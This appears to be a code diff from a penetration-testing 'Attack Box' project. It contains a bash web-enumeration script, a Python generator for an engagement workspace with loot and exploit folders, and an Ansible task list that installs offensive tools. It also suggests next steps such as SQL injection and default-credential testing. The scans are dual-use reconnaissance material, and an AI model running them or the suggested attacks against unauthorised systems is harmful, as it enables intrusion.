echo "Web enumeration started at $(date)" > "$LOG_FILE"
|
||||||
|
|
||||||
|
# Function to log and execute
|
||||||
|
log_and_run() {
|
||||||
|
echo -e "${YELLOW}[*] $1${NC}"
|
||||||
|
echo "[$(date)] $1" >> "$LOG_FILE"
|
||||||
|
eval "$2" 2>&1 | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Basic web info gathering
|
||||||
|
echo -e "${GREEN}[+] Phase 1: Basic Information Gathering${NC}"
|
||||||
|
log_and_run "Getting HTTP headers" "curl -I $TARGET_URL"
|
||||||
|
log_and_run "Checking robots.txt" "curl -s $TARGET_URL/robots.txt"
|
||||||
|
log_and_run "Checking sitemap.xml" "curl -s $TARGET_URL/sitemap.xml"
|
||||||
|
|
||||||
|
# Technology detection
|
||||||
|
echo -e "${GREEN}[+] Phase 2: Technology Detection${NC}"
|
||||||
|
log_and_run "Running whatweb" "whatweb -a 3 $TARGET_URL"
|
||||||
|
if command -v wappalyzer &> /dev/null; then
|
||||||
|
log_and_run "Running Wappalyzer" "wappalyzer $TARGET_URL"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Directory and file enumeration
|
||||||
|
echo -e "${GREEN}[+] Phase 3: Directory and File Enumeration${NC}"
|
||||||
|
|
||||||
|
# Gobuster with common wordlist
|
||||||
|
log_and_run "Gobuster directory enumeration (common)" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -o gobuster_common.txt -q"
|
||||||
|
|
||||||
|
# Gobuster with bigger wordlist
|
||||||
|
if [ -f "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" ]; then
|
||||||
|
log_and_run "Gobuster directory enumeration (medium)" "gobuster dir -u $TARGET_URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_medium.txt -q --timeout 10s"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# File extension enumeration
|
||||||
|
log_and_run "Gobuster file enumeration" "gobuster dir -u $TARGET_URL -w /usr/share/wordlists/dirb/common.txt -x txt,php,html,js,xml,json,bak,old -o gobuster_files.txt -q"
|
||||||
|
|
||||||
|
# Alternative directory tools
|
||||||
|
if command -v dirb &> /dev/null; then
|
||||||
|
log_and_run "Dirb enumeration" "dirb $TARGET_URL -o dirb_results.txt"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if command -v ffuf &> /dev/null; then
|
||||||
|
log_and_run "FFUF enumeration" "ffuf -w /usr/share/wordlists/dirb/common.txt -u $TARGET_URL/FUZZ -o ffuf_results.json -of json -s"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Subdomain enumeration (if it's a domain)
|
||||||
|
if [[ $TARGET_URL == *"."* ]] && [[ $TARGET_URL != *[0-9]* ]]; then
|
||||||
|
echo -e "${GREEN}[+] Phase 4: Subdomain Enumeration${NC}"
|
||||||
|
DOMAIN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | cut -d':' -f1)
|
||||||
|
log_and_run "Gobuster subdomain enumeration" "gobuster dns -d $DOMAIN -w /usr/share/wordlists/dirb/common.txt -o gobuster_subdomains.txt -q"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Web vulnerability scanning
|
||||||
|
echo -e "${GREEN}[+] Phase 5: Vulnerability Scanning${NC}"
|
||||||
|
log_and_run "Nikto scan" "nikto -h $TARGET_URL -o nikto_results.txt"
|
||||||
|
|
||||||
|
# Nuclei web templates
|
||||||
|
if command -v nuclei &> /dev/null; then
|
||||||
|
log_and_run "Nuclei web vulnerability scan" "nuclei -u $TARGET_URL -t ~/nuclei-templates/http/ -o nuclei_web_results.txt"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# SSL/TLS testing (for HTTPS)
|
||||||
|
if [[ $TARGET_URL == https* ]]; then
|
||||||
|
echo -e "${GREEN}[+] Phase 6: SSL/TLS Testing${NC}"
|
||||||
|
DOMAIN=$(echo "$TARGET_URL" | sed 's|https://||g' | sed 's|/.*||g')
|
||||||
|
log_and_run "SSL certificate information" "openssl s_client -connect $DOMAIN:443 -servername $DOMAIN < /dev/null 2>/dev/null | openssl x509 -text -noout"
|
||||||
|
|
||||||
|
if command -v sslscan &> /dev/null; then
|
||||||
|
log_and_run "SSLScan" "sslscan $DOMAIN"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if command -v testssl.sh &> /dev/null; then
|
||||||
|
log_and_run "TestSSL" "testssl.sh $TARGET_URL"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Web application firewall detection
|
||||||
|
echo -e "${GREEN}[+] Phase 7: WAF Detection${NC}"
|
||||||
|
if command -v wafw00f &> /dev/null; then
|
||||||
|
log_and_run "WAF detection" "wafw00f $TARGET_URL"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Content discovery and analysis
|
||||||
|
echo -e "${GREEN}[+] Phase 8: Content Analysis${NC}"
|
||||||
|
|
||||||
|
# Find interesting files and directories
|
||||||
|
echo -e "${BLUE}[*] Analyzing discovered content...${NC}"
|
||||||
|
if [ -f "gobuster_common.txt" ]; then
|
||||||
|
echo "Interesting directories found:" >> content_analysis.txt
|
||||||
|
grep -E "(admin|login|api|config|backup|test|dev)" gobuster_common.txt >> content_analysis.txt 2>/dev/null || echo "No interesting directories found" >> content_analysis.txt
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Parameter discovery
|
||||||
|
if command -v arjun &> /dev/null; then
|
||||||
|
log_and_run "Parameter discovery with Arjun" "arjun -u $TARGET_URL -o arjun_params.txt"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# JavaScript analysis
|
||||||
|
log_and_run "Finding JavaScript files" "curl -s $TARGET_URL | grep -oP '(?<=src=\")[^\"]*\.js(?=\")' | head -10 > js_files.txt"
|
||||||
|
|
||||||
|
# Generate summary report
|
||||||
|
echo -e "${GREEN}[+] Web Enumeration Complete!${NC}"
|
||||||
|
echo -e "${BLUE}[*] Results saved in: $WORKSPACE${NC}"
|
||||||
|
echo -e "${BLUE}[*] Log file: $LOG_FILE${NC}"
|
||||||
|
|
||||||
|
# Count discovered items
|
||||||
|
DIRS_FOUND=0
|
||||||
|
FILES_FOUND=0
|
||||||
|
if [ -f "gobuster_common.txt" ]; then
|
||||||
|
DIRS_FOUND=$(wc -l < gobuster_common.txt)
|
||||||
|
fi
|
||||||
|
if [ -f "gobuster_files.txt" ]; then
|
||||||
|
FILES_FOUND=$(wc -l < gobuster_files.txt)
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${BLUE}[*] Directories found: $DIRS_FOUND${NC}"
|
||||||
|
echo -e "${BLUE}[*] Files found: $FILES_FOUND${NC}"
|
||||||
|
|
||||||
|
# Generate HTML report
|
||||||
|
cat > "web_enum_report.html" << EOF
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Web Enumeration Report - $TARGET_URL</title>
|
||||||
|
<style>
|
||||||
|
body { font-family: Arial, sans-serif; margin: 40px; }
|
||||||
|
h1 { color: #333; }
|
||||||
|
h2 { color: #666; }
|
||||||
|
.stats { background: #f0f0f0; padding: 10px; margin: 10px 0; }
|
||||||
|
pre { background: #f8f8f8; padding: 10px; overflow-x: auto; }
|
||||||
|
.finding { background: #ffffcc; padding: 5px; margin: 5px 0; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Web Enumeration Report</h1>
|
||||||
|
<p><strong>Target:</strong> $TARGET_URL</p>
|
||||||
|
|
||||||
|
<div class="stats">
|
||||||
|
<h2>Statistics</h2>
|
||||||
|
<p>Directories Found: $DIRS_FOUND</p>
|
||||||
|
<p>Files Found: $FILES_FOUND</p>
|
||||||
|
<p>Scan Date: $(date)</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>Discovered Directories</h2>
|
||||||
|
<pre>$(cat gobuster_common.txt 2>/dev/null | head -20 || echo "No directories file found")</pre>
|
||||||
|
|
||||||
|
<h2>Discovered Files</h2>
|
||||||
|
<pre>$(cat gobuster_files.txt 2>/dev/null | head -20 || echo "No files found")</pre>
|
||||||
|
|
||||||
|
<h2>Technology Stack</h2>
|
||||||
|
<pre>$(grep -A 10 "Running whatweb" $LOG_FILE 2>/dev/null | tail -n +2 | head -10 || echo "Technology detection results not available")</pre>
|
||||||
|
|
||||||
|
<h2>Security Findings</h2>
|
||||||
|
<pre>$(cat nikto_results.txt 2>/dev/null | head -20 || echo "Nikto results not available")</pre>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] HTML report generated: web_enum_report.html${NC}"
|
||||||
|
|
||||||
|
# Next steps suggestions
|
||||||
|
cat > "next_steps.txt" << EOF
|
||||||
|
Next Steps for $TARGET_URL:
|
||||||
|
===========================
|
||||||
|
|
||||||
|
1. Manual Testing:
|
||||||
|
- Browse discovered directories manually
|
||||||
|
- Test for authentication bypasses
|
||||||
|
- Look for file upload functionality
|
||||||
|
- Check for SQL injection points
|
||||||
|
|
||||||
|
2. Focused Scanning:
|
||||||
|
- Run OWASP ZAP or Burp Suite
|
||||||
|
- Test for XSS vulnerabilities
|
||||||
|
- Check for CSRF tokens
|
||||||
|
- Test API endpoints if found
|
||||||
|
|
||||||
|
3. Exploitation:
|
||||||
|
- Research CVEs for identified technologies
|
||||||
|
- Test default credentials
|
||||||
|
- Look for configuration files with sensitive data
|
||||||
|
- Check for local file inclusion vulnerabilities
|
||||||
|
|
||||||
|
4. Further Enumeration:
|
||||||
|
- Use custom wordlists for your target
|
||||||
|
- Check for backup files (.bak, .old, .swp)
|
||||||
|
- Look for version control directories (.git, .svn)
|
||||||
|
- Test for subdomain takeover
|
||||||
|
|
||||||
|
Files to review:
|
||||||
|
$(ls -la *.txt *.html *.json 2>/dev/null || echo "No additional files found")
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Next steps guide generated: next_steps.txt${NC}"
|
||||||
|
echo "Web enumeration completed at $(date)" >> "$LOG_FILE"
|
||||||
+233
@@ -0,0 +1,233 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Workspace Structure Generator for Attack Box
|
||||||
|
Creates trashpanda-style penetration testing directory structure
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
def create_workspace_structure(base_name="/root/operator", operator="operator"):
|
||||||
|
"""Create a comprehensive penetration testing directory structure like trashpanda."""
|
||||||
|
|
||||||
|
# Main engagement directory
|
||||||
|
base_dir = os.path.abspath(base_name)
|
||||||
|
|
||||||
|
# Primary directories (based on trashpanda structure)
|
||||||
|
main_dirs = {
|
||||||
|
"tools": "Downloaded/compiled tools and scripts",
|
||||||
|
"scans": "All scan results organized by type",
|
||||||
|
"logs": "Execution logs and debug output",
|
||||||
|
"loot": "Extracted credentials, hashes, and sensitive data",
|
||||||
|
"payloads": "Custom payloads and exploit code",
|
||||||
|
"targets": "Target lists and reconnaissance data",
|
||||||
|
"screenshots": "Visual evidence and GUI captures",
|
||||||
|
"reports": "Draft reports and documentation",
|
||||||
|
"notes": "Manual notes and observations",
|
||||||
|
"exploits": "Working exploits and proof-of-concepts",
|
||||||
|
"wordlists": "Custom and downloaded wordlists",
|
||||||
|
"pcaps": "Network captures and traffic analysis"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Scan subdirectories (comprehensive enumeration structure)
|
||||||
|
scan_subdirs = {
|
||||||
|
"nmap": "Network discovery and port scanning",
|
||||||
|
"dns": "DNS enumeration and zone transfers",
|
||||||
|
"snmp": "SNMP enumeration and community strings",
|
||||||
|
"smb": "SMB/NetBIOS enumeration and shares",
|
||||||
|
"web": "Web application scanning and enumeration",
|
||||||
|
"ssl": "SSL/TLS certificate and cipher analysis",
|
||||||
|
"vulns": "Vulnerability scanning and NSE scripts",
|
||||||
|
"ldap": "LDAP enumeration and directory services",
|
||||||
|
"ftp": "FTP enumeration and anonymous access",
|
||||||
|
"ssh": "SSH enumeration and key analysis",
|
||||||
|
"databases": "Database enumeration (MySQL, MSSQL, etc)",
|
||||||
|
"custom": "Custom and manual scans",
|
||||||
|
"reachability": "Network reachability test results"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Loot subdirectories (for extracted data)
|
||||||
|
loot_subdirs = {
|
||||||
|
"credentials": "Usernames, passwords, and authentication data",
|
||||||
|
"hashes": "Password hashes and cracking results",
|
||||||
|
"keys": "SSH keys, certificates, and crypto material",
|
||||||
|
"configs": "Configuration files and sensitive data",
|
||||||
|
"databases": "Extracted database contents",
|
||||||
|
"files": "Interesting files and documents"
|
||||||
|
}
|
||||||
|
|
||||||
|
print(f"[+] Creating penetration testing structure: {base_dir}")
|
||||||
|
|
||||||
|
# Create main directories
|
||||||
|
for dir_name, description in main_dirs.items():
|
||||||
|
dir_path = os.path.join(base_dir, dir_name)
|
||||||
|
Path(dir_path).mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
# Create README files for documentation
|
||||||
|
readme_path = os.path.join(dir_path, "README.md")
|
||||||
|
if not os.path.exists(readme_path):
|
||||||
|
with open(readme_path, 'w') as f:
|
||||||
|
f.write(f"# {dir_name.upper()}\n\n")
|
||||||
|
f.write(f"{description}\n\n")
|
||||||
|
f.write(f"Created by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||||
|
|
||||||
|
# Create scan subdirectories
|
||||||
|
scans_dir = os.path.join(base_dir, "scans")
|
||||||
|
for subdir, description in scan_subdirs.items():
|
||||||
|
subdir_path = os.path.join(scans_dir, subdir)
|
||||||
|
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
readme_path = os.path.join(subdir_path, "README.md")
|
||||||
|
if not os.path.exists(readme_path):
|
||||||
|
with open(readme_path, 'w') as f:
|
||||||
|
f.write(f"# {subdir.upper()} SCANS\n\n")
|
||||||
|
f.write(f"{description}\n\n")
|
||||||
|
|
||||||
|
# Create loot subdirectories
|
||||||
|
loot_dir = os.path.join(base_dir, "loot")
|
||||||
|
for subdir, description in loot_subdirs.items():
|
||||||
|
subdir_path = os.path.join(loot_dir, subdir)
|
||||||
|
Path(subdir_path).mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
readme_path = os.path.join(subdir_path, "README.md")
|
||||||
|
if not os.path.exists(readme_path):
|
||||||
|
with open(readme_path, 'w') as f:
|
||||||
|
f.write(f"# {subdir.upper()}\n\n")
|
||||||
|
f.write(f"{description}\n\n")
|
||||||
|
|
||||||
|
# Create engagement log
|
||||||
|
engagement_log = os.path.join(base_dir, "logs", "engagement.log")
|
||||||
|
with open(engagement_log, 'w') as f:
|
||||||
|
f.write(f"Attack Box Engagement Log\n")
|
||||||
|
f.write(f"=========================\n")
|
||||||
|
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||||
|
f.write(f"Operator: {operator}\n")
|
||||||
|
f.write(f"Tool: Attack Box Manual Testing Interface\n\n")
|
||||||
|
|
||||||
|
# Create initial target file
|
||||||
|
target_template = os.path.join(base_dir, "targets", "targets.txt")
|
||||||
|
if not os.path.exists(target_template):
|
||||||
|
with open(target_template, 'w') as f:
|
||||||
|
f.write("# Target List\n")
|
||||||
|
f.write("# Add IPs, ranges, or hostnames (one per line)\n")
|
||||||
|
f.write("# Examples:\n")
|
||||||
|
f.write("# 192.168.1.1\n")
|
||||||
|
f.write("# 192.168.1.0/24\n")
|
||||||
|
f.write("# 192.168.1.1-50\n")
|
||||||
|
f.write("# target.domain.com\n\n")
|
||||||
|
|
||||||
|
# Create manual commands file
|
||||||
|
manual_commands = os.path.join(base_dir, "scans", "_manual_commands.txt")
|
||||||
|
with open(manual_commands, 'w') as f:
|
||||||
|
f.write("# Manual Commands for Further Enumeration\n")
|
||||||
|
f.write("# ======================================\n")
|
||||||
|
f.write(f"# Generated by Attack Box on {time.strftime('%Y-%m-%d %H:%M:%S')}\n\n")
|
||||||
|
f.write("# Example commands:\n")
|
||||||
|
f.write("# nmap -sS -T4 --top-ports 1000 <target>\n")
|
||||||
|
f.write("# gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt\n")
|
||||||
|
f.write("# nikto -h http://<target>\n")
|
||||||
|
f.write("# sqlmap -u http://<target>?id=1 --dbs\n\n")
|
||||||
|
|
||||||
|
# Create notes template
|
||||||
|
notes_template = os.path.join(base_dir, "notes", "engagement_notes.md")
|
||||||
|
with open(notes_template, 'w') as f:
|
||||||
|
f.write(f"# Engagement Notes\n\n")
|
||||||
|
f.write(f"**Date:** {time.strftime('%Y-%m-%d')}\n")
|
||||||
|
f.write(f"**Operator:** {operator}\n")
|
||||||
|
f.write(f"**Engagement:** TBD\n\n")
|
||||||
|
f.write(f"## Scope\n")
|
||||||
|
f.write(f"- [ ] Define target scope\n")
|
||||||
|
f.write(f"- [ ] Identify key assets\n")
|
||||||
|
f.write(f"- [ ] Document rules of engagement\n\n")
|
||||||
|
f.write(f"## Methodology\n")
|
||||||
|
f.write(f"1. **Reconnaissance**\n")
|
||||||
|
f.write(f" - Passive information gathering\n")
|
||||||
|
f.write(f" - DNS enumeration\n")
|
||||||
|
f.write(f" - OSINT collection\n\n")
|
||||||
|
f.write(f"2. **Scanning & Enumeration**\n")
|
||||||
|
f.write(f" - Network discovery\n")
|
||||||
|
f.write(f" - Port scanning\n")
|
||||||
|
f.write(f" - Service enumeration\n\n")
|
||||||
|
f.write(f"3. **Vulnerability Assessment**\n")
|
||||||
|
f.write(f" - Automated scanning\n")
|
||||||
|
f.write(f" - Manual testing\n")
|
||||||
|
f.write(f" - Vulnerability validation\n\n")
|
||||||
|
f.write(f"4. **Exploitation**\n")
|
||||||
|
f.write(f" - Proof of concept development\n")
|
||||||
|
f.write(f" - Privilege escalation\n")
|
||||||
|
f.write(f" - Lateral movement\n\n")
|
||||||
|
f.write(f"## Key Findings\n")
|
||||||
|
f.write(f"*Document critical findings here*\n\n")
|
||||||
|
f.write(f"## Timeline\n")
|
||||||
|
f.write(f"- **{time.strftime('%Y-%m-%d %H:%M')}:** Engagement started\n\n")
|
||||||
|
|
||||||
|
# Create wordlist directory with common lists
|
||||||
|
wordlist_dir = os.path.join(base_dir, "wordlists")
|
||||||
|
common_wordlists = os.path.join(wordlist_dir, "common_lists.txt")
|
||||||
|
with open(common_wordlists, 'w') as f:
|
||||||
|
f.write("# Common Wordlist Locations\n")
|
||||||
|
f.write("# =========================\n")
|
||||||
|
f.write("# Directory enumeration:\n")
|
||||||
|
f.write("/usr/share/wordlists/dirb/common.txt\n")
|
||||||
|
f.write("/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt\n")
|
||||||
|
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt\n\n")
|
||||||
|
f.write("# File enumeration:\n")
|
||||||
|
f.write("/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt\n")
|
||||||
|
f.write("/usr/share/seclists/Discovery/Web-Content/common.txt\n\n")
|
||||||
|
f.write("# Subdomain enumeration:\n")
|
||||||
|
f.write("/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt\n")
|
||||||
|
f.write("/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt\n\n")
|
||||||
|
f.write("# Password attacks:\n")
|
||||||
|
f.write("/usr/share/wordlists/rockyou.txt\n")
|
||||||
|
f.write("/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt\n")
|
||||||
|
|
||||||
|
# Create scripts directory with useful scripts
|
||||||
|
scripts_dir = os.path.join(base_dir, "tools", "scripts")
|
||||||
|
Path(scripts_dir).mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
quick_enum_script = os.path.join(scripts_dir, "quick_enum.sh")
|
||||||
|
with open(quick_enum_script, 'w') as f:
|
||||||
|
f.write("#!/bin/bash\n")
|
||||||
|
f.write("# Quick enumeration script\n")
|
||||||
|
f.write("# Usage: ./quick_enum.sh <target_ip>\n\n")
|
||||||
|
f.write("if [ $# -eq 0 ]; then\n")
|
||||||
|
f.write(' echo "Usage: $0 <target_ip>"\n')
|
||||||
|
f.write(" exit 1\n")
|
||||||
|
f.write("fi\n\n")
|
||||||
|
f.write("TARGET=$1\n")
|
||||||
|
f.write("DATE=$(date +%Y%m%d_%H%M%S)\n")
|
||||||
|
f.write("SCAN_DIR=\"../../scans\"\n\n")
|
||||||
|
f.write("echo \"[+] Quick enumeration of $TARGET\"\n")
|
||||||
|
f.write("echo \"[+] Results will be saved to $SCAN_DIR\"\n\n")
|
||||||
|
f.write("# Quick nmap scan\n")
|
||||||
|
f.write("echo \"[+] Running quick nmap scan...\"\n")
|
||||||
|
f.write("nmap -sS -T4 --top-ports 1000 -oN \"$SCAN_DIR/nmap/quick_scan_${TARGET}_${DATE}.txt\" $TARGET\n\n")
|
||||||
|
f.write("# Check for web services\n")
|
||||||
|
f.write("echo \"[+] Checking for web services...\"\n")
|
||||||
|
f.write("if nmap -p 80,443,8080,8443 --open $TARGET | grep -q open; then\n")
|
||||||
|
f.write(" echo \"[+] Web services found, running quick web enum...\"\n")
|
||||||
|
f.write(" gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o \"$SCAN_DIR/web/gobuster_${TARGET}_${DATE}.txt\" -q\n")
|
||||||
|
f.write("fi\n\n")
|
||||||
|
f.write("echo \"[+] Quick enumeration complete\"\n")
|
||||||
|
|
||||||
|
os.chmod(quick_enum_script, 0o755)
|
||||||
|
|
||||||
|
print(f"[+] Penetration testing structure created successfully")
|
||||||
|
print(f"[*] Add targets to: {target_template}")
|
||||||
|
print(f"[*] Engagement log: {engagement_log}")
|
||||||
|
print(f"[*] Quick enum script: {quick_enum_script}")
|
||||||
|
|
||||||
|
return base_dir
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
import sys
|
||||||
|
import getpass
|
||||||
|
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
workspace_name = sys.argv[1]
|
||||||
|
else:
|
||||||
|
workspace_name = f"/root/operator"
|
||||||
|
|
||||||
|
operator = getpass.getuser()
|
||||||
|
create_workspace_structure(workspace_name, operator)
|
||||||
@@ -0,0 +1,752 @@
|
|||||||
|
---
|
||||||
|
# Attack Box Configuration Tasks
|
||||||
|
# Creates /root/<deployment_id> workspace structure
|
||||||
|
|
||||||
|
- name: Set user variables for headless deployment
|
||||||
|
ansible.builtin.set_fact:
|
||||||
|
target_user: "root"
|
||||||
|
user_home: "/root"
|
||||||
|
# Always use deployment_id for directory name (no hardcoded operator aliases)
|
||||||
|
work_dir: "{{ work_dir | default('/root/' + deployment_id) }}"
|
||||||
|
tool_name: "{{ tool_name | default('toolkit' if enhanced_opsec | default(false) else 'trashpanda') }}"
|
||||||
|
project_name: "{{ project_name | default(deployment_id) }}"
|
||||||
|
|
||||||
|
- name: Display attack box configuration start
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
================================================================
|
||||||
|
ATTACK BOX CONFIGURATION STARTED
|
||||||
|
================================================================
|
||||||
|
Deployment ID: {{ deployment_id }}
|
||||||
|
Target: {{ ansible_host }}
|
||||||
|
OPSEC Mode: {{ 'Enhanced' if enhanced_opsec | default(false) else 'Standard' }}
|
||||||
|
Working Directory: {{ work_dir }}
|
||||||
|
Configuration Steps:
|
||||||
|
1. Create {{ 'secure' if enhanced_opsec | default(false) else 'TrashPanda' }} directory structure
|
||||||
|
2. Install base packages (~100 packages)
|
||||||
|
3. Install pipx and Python tools (~30 tools)
|
||||||
|
4. Install Go tools (~12 tools)
|
||||||
|
5. Clone Git repositories (~20 repositories)
|
||||||
|
6. Configure scripts and automation
|
||||||
|
7. Set up PATH and environment
|
||||||
|
|
||||||
|
This process may take 30-60 minutes depending on network speed.
|
||||||
|
Progress will be displayed for each step.
|
||||||
|
================================================================
|
||||||
|
|
||||||
|
- name: Record configuration start time
|
||||||
|
set_fact:
|
||||||
|
config_start_time: "{{ ansible_date_time.epoch }}"
|
||||||
|
|
||||||
|
- name: Create TrashPanda directory structure
|
||||||
|
ansible.builtin.file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
mode: '0755'
|
||||||
|
loop:
|
||||||
|
# Main TrashPanda directories (exactly like trashpanda.py)
|
||||||
|
- "{{ work_dir }}"
|
||||||
|
- "{{ work_dir }}/tools"
|
||||||
|
- "{{ work_dir }}/scans"
|
||||||
|
- "{{ work_dir }}/logs"
|
||||||
|
- "{{ work_dir }}/loot"
|
||||||
|
- "{{ work_dir }}/payloads"
|
||||||
|
- "{{ work_dir }}/targets"
|
||||||
|
- "{{ work_dir }}/screenshots"
|
||||||
|
- "{{ work_dir }}/reports"
|
||||||
|
- "{{ work_dir }}/notes"
|
||||||
|
- "{{ work_dir }}/exploits"
|
||||||
|
- "{{ work_dir }}/wordlists"
|
||||||
|
- "{{ work_dir }}/pcaps"
|
||||||
|
# Scan subdirectories (exactly like trashpanda.py)
|
||||||
|
- "{{ work_dir }}/scans/nmap"
|
||||||
|
- "{{ work_dir }}/scans/dns"
|
||||||
|
- "{{ work_dir }}/scans/snmp"
|
||||||
|
- "{{ work_dir }}/scans/smb"
|
||||||
|
- "{{ work_dir }}/scans/web"
|
||||||
|
- "{{ work_dir }}/scans/ssl"
|
||||||
|
- "{{ work_dir }}/scans/vulns"
|
||||||
|
- "{{ work_dir }}/scans/ldap"
|
||||||
|
- "{{ work_dir }}/scans/ftp"
|
||||||
|
- "{{ work_dir }}/scans/ssh"
|
||||||
|
- "{{ work_dir }}/scans/databases"
|
||||||
|
- "{{ work_dir }}/scans/custom"
|
||||||
|
- "{{ work_dir }}/scans/reachability"
|
||||||
|
# Loot subdirectories (exactly like trashpanda.py)
|
||||||
|
- "{{ work_dir }}/loot/credentials"
|
||||||
|
- "{{ work_dir }}/loot/hashes"
|
||||||
|
- "{{ work_dir }}/loot/keys"
|
||||||
|
- "{{ work_dir }}/loot/configs"
|
||||||
|
- "{{ work_dir }}/loot/databases"
|
||||||
|
- "{{ work_dir }}/loot/files"
|
||||||
|
# Tools subdirectories for organization
|
||||||
|
- "{{ work_dir }}/tools/scripts"
|
||||||
|
- "{{ work_dir }}/tools/windows"
|
||||||
|
- "{{ work_dir }}/tools/linux"
|
||||||
|
- "{{ work_dir }}/tools/web"
|
||||||
|
- "{{ work_dir }}/tools/wireless"
|
||||||
|
- "{{ work_dir }}/tools/privesc"
|
||||||
|
|
||||||
|
# Attack Box Configuration
|
||||||
|
# Uses TrashPanda directory structure under /root/<deployment_id>
|
||||||
|
|
||||||
|
- name: Update package cache only (avoid grub-pc issues)
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
cache_valid_time: 3600
|
||||||
|
retries: 3
|
||||||
|
delay: 10
|
||||||
|
|
||||||
|
- name: Install base packages with progress feedback
|
||||||
|
ansible.builtin.apt:
|
||||||
|
name: "{{ item }}"
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
loop:
|
||||||
|
- curl
|
||||||
|
- wget
|
||||||
|
- git
|
||||||
|
- vim
|
||||||
|
- htop
|
||||||
|
- screen
|
||||||
|
- tmux
|
||||||
|
- python3
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- python3-dev
|
||||||
|
- build-essential
|
||||||
|
- binutils
|
||||||
|
- hashcat
|
||||||
|
- john
|
||||||
|
- hydra
|
||||||
|
- aircrack-ng
|
||||||
|
- recon-ng
|
||||||
|
- exploitdb
|
||||||
|
- gobuster
|
||||||
|
- dirb
|
||||||
|
- nikto
|
||||||
|
- whatweb
|
||||||
|
- wapiti
|
||||||
|
- uniscan
|
||||||
|
- theharvester
|
||||||
|
- dnsenum
|
||||||
|
- dnsmap
|
||||||
|
- dnsutils
|
||||||
|
- whois
|
||||||
|
- netcat-traditional
|
||||||
|
- netcat-openbsd
|
||||||
|
- socat
|
||||||
|
- ncat
|
||||||
|
- nmap
|
||||||
|
- masscan
|
||||||
|
- unicornscan
|
||||||
|
- hping3
|
||||||
|
- tcpdump
|
||||||
|
- tshark
|
||||||
|
- dsniff
|
||||||
|
- arp-scan
|
||||||
|
- nbtscan
|
||||||
|
- enum4linux
|
||||||
|
- smbclient
|
||||||
|
- rpcclient
|
||||||
|
- showmount
|
||||||
|
- rpcinfo
|
||||||
|
- snmp
|
||||||
|
- snmp-mibs-downloader
|
||||||
|
- onesixtyone
|
||||||
|
- ldap-utils
|
||||||
|
- sslscan
|
||||||
|
- sslyze
|
||||||
|
- testssl.sh
|
||||||
|
- openssl
|
||||||
|
- ike-scan
|
||||||
|
- sleuthkit
|
||||||
|
- autopsy
|
||||||
|
- foremost
|
||||||
|
- scalpel
|
||||||
|
- binwalk
|
||||||
|
- exiftool
|
||||||
|
- steghide
|
||||||
|
- outguess
|
||||||
|
- stegosuite
|
||||||
|
- hexedit
|
||||||
|
- ghex
|
||||||
|
- bless
|
||||||
|
- radare2
|
||||||
|
- gdb
|
||||||
|
- valgrind
|
||||||
|
- ltrace
|
||||||
|
- strace
|
||||||
|
- lsof
|
||||||
|
- psmisc
|
||||||
|
- tree
|
||||||
|
- file
|
||||||
|
- less
|
||||||
|
- most
|
||||||
|
- unzip
|
||||||
|
- p7zip-full
|
||||||
|
- rar
|
||||||
|
- unrar
|
||||||
|
- cabextract
|
||||||
|
- cpio
|
||||||
|
- binutils-dev
|
||||||
|
- libc6-dev
|
||||||
|
- gcc
|
||||||
|
- g++
|
||||||
|
- make
|
||||||
|
- cmake
|
||||||
|
- autoconf
